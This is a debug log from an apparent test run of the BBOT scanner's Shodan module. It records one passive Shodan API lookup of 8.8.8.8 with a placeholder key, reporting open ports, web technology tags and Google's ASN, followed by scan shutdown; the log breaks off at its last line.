-2026-02-27 22:07:05,909 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 scan modules (shodan_enterprise) -2026-02-27 22:07:05,909 [VERBOSE] bbot.scanner scanner.py:1181 Loading 2 internal modules: dnsresolve,unarchive -2026-02-27 22:07:05,911 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "dnsresolve" -2026-02-27 22:07:05,911 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "unarchive" -2026-02-27 22:07:05,911 [INFO] bbot.scanner scanner.py:1191 Loaded 2/2 internal modules (dnsresolve,unarchive) -2026-02-27 22:07:05,912 [VERBOSE] bbot.scanner scanner.py:1181 Loading 1 output modules: python -2026-02-27 22:07:05,913 [VERBOSE] bbot.scanner scanner.py:1181 Loaded module "python" -2026-02-27 22:07:05,913 [INFO] bbot.scanner scanner.py:1191 Loaded 1/1 output modules, (python) -2026-02-27 22:07:05,914 [VERBOSE] bbot.scanner scanner.py:1181 Setting up modules -2026-02-27 22:07:05,914 [DEBUG] bbot.modules._scan_ingress base.py:1563 Setting up module _scan_ingress -2026-02-27 22:07:05,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup_deps() -2026-02-27 22:07:05,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Running _scan_ingress.setup() -2026-02-27 22:07:05,915 [DEBUG] bbot.modules._scan_ingress base.py:1563 Finished setting up module _scan_ingress -2026-02-27 22:07:05,915 [DEBUG] bbot.modules.dnsresolve base.py:1563 Setting up module dnsresolve -2026-02-27 22:07:05,915 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup_deps() -2026-02-27 22:07:05,915 [DEBUG] bbot.modules.dnsresolve base.py:1563 Running dnsresolve.setup() -2026-02-27 22:07:05,916 [DEBUG] bbot.modules.dnsresolve base.py:1563 Finished setting up module dnsresolve -2026-02-27 22:07:05,916 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Setting up module shodan_enterprise -2026-02-27 22:07:05,916 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup_deps() -2026-02-27 22:07:05,916 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Running shodan_enterprise.setup() -2026-02-27 22:07:05,917 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished setting up module shodan_enterprise -2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Setting up module unarchive -2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup_deps() -2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Running unarchive.setup() -2026-02-27 22:07:05,917 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Finished setting up module unarchive -2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Setting up module python -2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup_deps() -2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Running python.setup() -2026-02-27 22:07:05,918 [DEBUG] bbot.modules.output.python base.py:1563 Finished setting up module python -2026-02-27 22:07:05,918 [DEBUG] bbot.modules._scan_egress base.py:1563 Setting up module _scan_egress -2026-02-27 22:07:05,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup_deps() -2026-02-27 22:07:05,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Running _scan_egress.setup() -2026-02-27 22:07:05,919 [DEBUG] bbot.modules._scan_egress base.py:1563 Finished setting up module _scan_egress -2026-02-27 22:07:05,919 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for python (success) -2026-02-27 22:07:05,919 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for unarchive (success) -2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_ingress (success) -2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for _scan_egress (success) -2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for dnsresolve (success) -2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setup succeeded for shodan_enterprise (success) -2026-02-27 22:07:05,920 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module dnsresolve._incoming_event_queue to previous intercept module _scan_ingress.outgoing_event_queue -2026-02-27 22:07:05,921 [DEBUG] bbot.scanner scanner.py:1176 Setting intercept module _scan_egress._incoming_event_queue to previous intercept module dnsresolve.outgoing_event_queue -2026-02-27 22:07:05,921 [SUCCESS] bbot.scanner scanner.py:1201 Setup succeeded for 6/6 modules. -2026-02-27 22:07:05,921 [DEBUG] bbot base.py:109 Executing setup_after_prep() -2026-02-27 22:07:05,921 [DEBUG] bbot base.py:111 Starting scan -2026-02-27 22:07:06,067 [HUGESUCCESS] bbot.scanner scanner.py:1206 Starting scan testshodan_enterprise_test_2ch2yp82dx -2026-02-27 22:07:06,067 [VERBOSE] bbot.scanner scanner.py:1181 Starting module worker loops -2026-02-27 22:07:06,177 [VERBOSE] bbot.scanner scanner.py:1181 6 modules started -2026-02-27 22:07:06,178 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to STARTING -2026-02-27 22:07:06,178 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to RUNNING -2026-02-27 22:07:06,180 [VERBOSE] bbot.modules._scan_ingress base.py:1579 Target: IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 22:07:06,279 [DEBUG] bbot.modules._scan_ingress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) passed post-check -2026-02-27 22:07:06,280 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) -2026-02-27 22:07:06,281 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'distance-1', 'ipv4'}) in-scope because its main host matches the scan target -2026-02-27 22:07:06,282 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,284 [DEBUG] bbot.modules._scan_ingress base.py:1563 SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:07:06,284 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:07:06,285 [DEBUG] bbot.modules.dnsresolve base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:07:06,286 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,288 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:07:06,289 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:07:06,290 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:07:06,292 [DEBUG] bbot.modules._scan_egress base.py:1563 SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:07:06,293 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:07:06,295 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) -2026-02-27 22:07:06,296 [DEBUG] bbot.modules.output.python base.py:1563 Queueing SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) because precheck succeeded -2026-02-27 22:07:06,300 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,301 [DEBUG] bbot.modules._scan_egress base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:07:06,301 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,302 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,302 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,303 [DEBUG] bbot.modules.output.python base.py:1563 Queueing IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,303 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 22:07:06,304 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:07:06,304 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,307 [DEBUG] urllib3.connectionpool connectionpool.py:1049 Starting new HTTPS connection (1): api.shodan.io:443 -2026-02-27 22:07:06,418 [DEBUG] urllib3.connectionpool connectionpool.py:544 https://api.shodan.io:443 "GET /shodan/host/8.8.8.8?key=deadbeef HTTP/1.1" 200 None -2026-02-27 22:07:06,421 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Finished handling IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) -2026-02-27 22:07:06,422 [DEBUG] bbot.modules.output.python base.py:1563 Got SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) from TARGET -2026-02-27 22:07:06,423 [DEBUG] bbot.modules.output.python base.py:1563 SCAN("{'id': 'SCAN:00e750990e9aca473ee2032886c6362136f292de', 'name': 'testshodan_ente...", module=TARGET, tags=set()) passed post-check -2026-02-27 22:07:06,424 [DEBUG] bbot.modules.output.python base.py:1563 Got IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) from TARGET -2026-02-27 22:07:06,424 [DEBUG] bbot.modules.output.python base.py:1563 IP_ADDRESS("8.8.8.8", module=TARGET, tags={'target', 'ipv4', 'in-scope'}) passed post-check -2026-02-27 22:07:06,425 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,425 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,426 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:07:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,427 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,428 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,429 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:07:06,430 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check -2026-02-27 22:07:06,431 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) -2026-02-27 22:07:06,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,432 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,433 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:07:06,434 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,434 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,435 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) -2026-02-27 22:07:06,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:07:06,436 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:07:06,436 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check -2026-02-27 22:07:06,437 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) -2026-02-27 22:07:06,438 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,438 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,439 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,439 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,440 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:07:06,440 [DEBUG] bbot.modules._scan_ingress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,441 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,441 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) -2026-02-27 22:07:06,442 [DEBUG] bbot.modules.dnsresolve base.py:1563 Not intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because postcheck failed (it did not meet custom filter criteria: event does not have host attribute) -2026-02-27 22:07:06,442 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:07:06,443 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:07:06,443 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,444 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,444 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check -2026-02-27 22:07:06,445 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) -2026-02-27 22:07:06,445 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,446 [DEBUG] bbot.modules._scan_ingress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:07:06,446 [DEBUG] bbot.modules._scan_ingress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:07:06,447 [DEBUG] bbot.modules.dnsresolve base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,447 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,448 [DEBUG] bbot.modules._scan_ingress base.py:1563 Making TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) in-scope because its main host matches the scan target -2026-02-27 22:07:06,448 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) -2026-02-27 22:07:06,449 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,449 [DEBUG] bbot.modules._scan_egress base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:07:06,450 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:07:06,450 [DEBUG] bbot.modules._scan_ingress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:07:06,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:07:06,451 [DEBUG] bbot.modules.dnsresolve base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:07:06,452 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) -2026-02-27 22:07:06,453 [DEBUG] bbot.modules.output.python base.py:1563 Queueing ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) because precheck succeeded -2026-02-27 22:07:06,453 [DEBUG] bbot.modules._scan_egress base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,453 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,454 [DEBUG] bbot.modules.dnsresolve base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:07:06,454 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) -2026-02-27 22:07:06,455 [DEBUG] bbot.modules.output.python base.py:1563 Queueing OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,455 [DEBUG] bbot.modules._scan_egress base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:07:06,456 [DEBUG] bbot.modules._scan_egress base.py:1563 Intercepting TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:07:06,456 [DEBUG] bbot.modules._scan_egress base.py:1563 Forwarding TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) -2026-02-27 22:07:06,457 [DEBUG] bbot.modules.output.python base.py:1563 Queueing TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) because precheck succeeded -2026-02-27 22:07:06,525 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:07:06,526 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:443", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,526 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:07:06,527 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_TCP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,527 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) from shodan_enterprise -2026-02-27 22:07:06,527 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HSTS'}", module=shodan_enterprise, tags={'security', 'web-technology', 'in-scope'}) passed post-check -2026-02-27 22:07:06,528 [DEBUG] bbot.modules.output.python base.py:1563 Got ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) from shodan_enterprise -2026-02-27 22:07:06,528 [DEBUG] bbot.modules.output.python base.py:1563 ASN("{'asn': '15169', 'name': 'Google LLC', 'description': 'Google LLC', 'country': '...", module=shodan_enterprise, tags=set()) passed post-check -2026-02-27 22:07:06,529 [DEBUG] bbot.modules.output.python base.py:1563 Got OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) from shodan_enterprise -2026-02-27 22:07:06,529 [DEBUG] bbot.modules.output.python base.py:1563 OPEN_UDP_PORT("8.8.8.8:53", module=shodan_enterprise, tags={'in-scope'}) passed post-check -2026-02-27 22:07:06,530 [DEBUG] bbot.modules.output.python base.py:1563 Got TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) from shodan_enterprise -2026-02-27 22:07:06,531 [DEBUG] bbot.modules.output.python base.py:1563 TECHNOLOGY("{'host': '8.8.8.8', 'technology': 'HTTP/3'}", module=shodan_enterprise, tags={'web-technology', 'miscellaneous', 'in-scope'}) passed post-check -2026-02-27 22:07:06,531 [INFO] bbot.scanner scanner.py:790 Finishing scan -2026-02-27 22:07:06,532 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) because its type is FINISHED -2026-02-27 22:07:06,532 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'unarchive'}) because its type is FINISHED -2026-02-27 22:07:06,532 [DEBUG] bbot.modules.output.python base.py:1563 Queueing FINISHED("FINISHED", module=None, tags={'python'}) because its type is FINISHED -2026-02-27 22:07:06,533 [VERBOSE] bbot.scanner scanner.py:1181 Completed finish() -2026-02-27 22:07:06,533 [DEBUG] bbot.scanner scanner.py:1176 Setting scan status to FINISHING -2026-02-27 22:07:06,534 [DEBUG] bbot.modules.shodan_enterprise base.py:1563 Got FINISHED("FINISHED", module=None, tags={'shodan-enterprise'}) from None -2026-02-27 22:07:06,535 [DEBUG] bbot.modules.internal.unarchive base.py:1563 Got FINISHED("FINISHED", module=None, tags={'unarchive'}) from None -2026-02-27 22:07:06,634 [DEBUG] bbot.modules.output.python base.py:1563 Got FINISHED("FINISHED", module=None, tags={'python'}) from None -2026-02-27 22:07:06,635 [VERBOSE] bbot.scanner scanner.py:1181 Completed final finish() -2026-02-27 22:07:06,654 [DEBUG] bbot.scanner scanner.py:1176 Cancelling all scan tasks -2026-02-27 22:07:06,655 [DEBUG] bbot.scanner scanner.py:1176 Finished cancelling all scan tasks -2026-02-27 22:07:06,655 [DEBUG] bbot.scanner scanner.py:1176 Awaiting 42 tasks -2026-02-27 22:07:06,663 [DEBUG] bbot.scanner scanner.py:1176 Awaited 42 tasks -2026-02-27 22:07:06,663 [VERBOSE] bbot.core.dnshelper engine.py:334 EngineClient DNSHelper: shutting down... -2026-02-27 22:07:06,664 [DEBUG] 